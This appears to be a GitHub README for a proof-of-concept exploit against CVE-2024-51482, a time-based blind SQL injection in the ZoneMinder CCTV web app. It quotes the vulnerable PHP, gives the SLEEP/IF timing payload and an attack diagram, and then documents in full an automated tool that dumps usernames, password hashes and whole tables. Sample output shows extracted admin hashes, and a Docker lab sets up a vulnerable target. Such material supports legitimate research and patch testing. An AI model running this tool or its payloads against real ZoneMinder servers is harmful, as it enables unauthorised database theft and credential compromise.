
Time-based SQL injection PoC for CVE-2024-51482 in ZoneMinder, with reproducible Docker lab and automated data extraction.
⚠️ For educational and authorized security research only. Running this tool against systems you do not own or lack written permission to test is illegal.
This repository contains a time-based SQL injection PoC targeting ZoneMinder.
The tool allows:
It also includes a fully reproducible Docker lab for safe testing.
ZoneMinder is a free, open source closed-circuit television software application. The vulnerability arises from insufficient input validation in the removetag endpoint of ZoneMinder. User-supplied input is directly incorporated into SQL queries without proper sanitization or parameterization, allowing attackers to inject malicious boolean-based SQL payloads. The exploit leverages:
SLEEP(x - IF(condition, 0, x))
to infer data via response timing.
Full vulnerable code snippet from Github Maintainer Advisory:
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
Attacker ZoneMinder Web App
│ │
│ [Auth] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← authenticated session
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<payload> │
│────────────────────────────────────────►│
│ SQL boolean query executed
│ IF(condition, no delay, SLEEP)
│◄────────────────────────────────────────│
│ Delayed response (timing oracle) │ ← condition inferred
│ │
│ Repeat requests │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Timing differences reveal characters │
│ │
│ Binary search per character │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Extracted data (1 char at a time) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Full database disclosure │
│ │
✓ Complete data exfiltration via blind SQLi
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configure environment variables
docker compose up -d
Without any flags, the tool will authenticate to the target, check its vulnerability, and if vulnerable, dump columns ID, Username, Password, Name and Email from the zm.Users table (dump-users command).
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
Only checks if the target is vulnerable.
python exploit.py -t http://target/zm -u <username> -p <password> check
Dumps ID, Username, Password, Name and Email columns from the zm.Users table. Default command if none is specified.
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
Lists all databases.
python exploit.py -t http://target/zm -u <username> -p <password> list-db
Lists tables in a specified database.
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
Lists columns in a specified table.
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
Dumps all data from a specified table.
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
You can also specify columns to dump (defaults to all):
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
--no-display
If the file does not exist, it will be created. If it already exists, new results will be appended.
--outfile results.csv
| Flag | Description | Example |
|---|---|---|
--outfile | Save output to a CSV file | --outfile results.csv |
--no-display | Disable terminal output | --no-display |
python3 exploit.py \
-t http://localhost:8080 \
-u admin -p admin \
dump-table \
--db zm \
--table Users \
--columns Username,Password \
--threads 6 \
--delay 2 \
--outfile dump.csv
dump-users is a shortcut for dumping the zm.Users table.--no-check only if you are sure the target is vulnerable.The included docker-compose.yml sets up a vulnerable ZoneMinder instance.
cp .env.example .env # Configure environment variables
docker compose up -d
Access the web interface at http://localhost:8080/ (or your custom port). The default credentials are admin:admin. You can then run the exploit against this local instance for testing.
$ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
_________ ____ _______________ ________ _______ ________ _____ .________ ____ _____ ______ ________
\_ ___ \\ \ / /\_ _____/ \_____ \\ _ \ \_____ \ / | | | ____//_ | / | | / __ \ \_____ \
/ \ \/ \ Y / | __)_ ______ / ____// /_\ \ / ____/ / | |_ ______|____ \ | | / | |_ > < / ____/
\ \____ \ / | \/_____// \\ \_/ \/ \ / ^ //_____// \ | |/ ^ // -- \/ \
\______ / \___/ /_______ / \_______ \\_____ /\_______ \\____ | /______ / |___|\____ | \______ /\_______ \
\/ \/ \/ \/ \/ |__| \/ |__| \/ \/
[∗] Target URL: http://localhost:8080/
[∗] Module : dump-table
[∗] Output will be saved to: ./out.csv
[∗] Attempting to log in with username/password authentication
🡲 Credentials: admin:admin
[+] Successfully authenticated as user admin
[∗] Testing target vulnerability...
[+] Target appears to be vulnerable (response time indicates successful injection).
[∗] Dumping contents of table zm.Users...
[+] Found columns: Username, Password
[∗] Retrieving number of rows in the table...
[+] Table contains 2 rows. Starting dump...
[∗] Progress: 5/5 | admin
[∗] Progress: 60/60 | $2h$12$NHZs...
[+] Retrieved row 1 : admin, $2h$12$NHZs...
[∗] Progress: 4/4 | flag
[∗] Progress: 60/60 | $2y$10$1Ei....
[+] Retrieved row 2 : flag, $2y$10$1Ei....
+----------+----------------+
| Username | Password |
+----------+----------------+
| admin | $2h$12$NHZs... |
| flag | $2y$10$1Ei.... |
+----------+----------------+
[+] Results written to ./out.csv
[+] Work done. Bye!
| Flag | Description | Example |
|---|
-t, --target | Target base URL | -t http://localhost:8080 |
-u, --user | Username for authentication | -u admin |
-p, --password | Password for authentication | -p admin |
--cookie | Use an existing ZMSESSID cookie instead of login | --cookie abc123... |
| Command | Description | Example |
|---|
check | Test if the target is vulnerable (time-based SQLi) | check |
dump-users | Dump the zm.Users table directly | dump-users |
list-db | List all databases | list-db |
list-tables | List tables from a database | list-tables --db zm |
list-columns | List columns from a table | list-columns --db zm --table Users |
dump-table | Dump a specific table | dump-table --db zm --table Users |
| Flag | Description | Required | Example |
|---|
--db | Database name | Yes (for table/column ops) | --db zm |
--table | Table name | Yes (for column/dump) | --table Users |
--columns | Comma-separated list of columns to dump | Optional | --columns Username,Password |
| Flag | Description | Default | Example |
|---|
--threads | Number of concurrent extraction threads | 5 | --threads 6 |
--delay | Delay used for time-based SQLi | 3 | --delay 2 |
--no-check | Skip vulnerability check before exploitation | False | --no-check |
| Flag | Description | Default | Example |
|---|
-v, --verbose | Enable debug logging | False | -v |
--log-file | Path to log file | logs/exploit.log | --log-file out.log |
--no-color | Disable colored output | False | --no-color |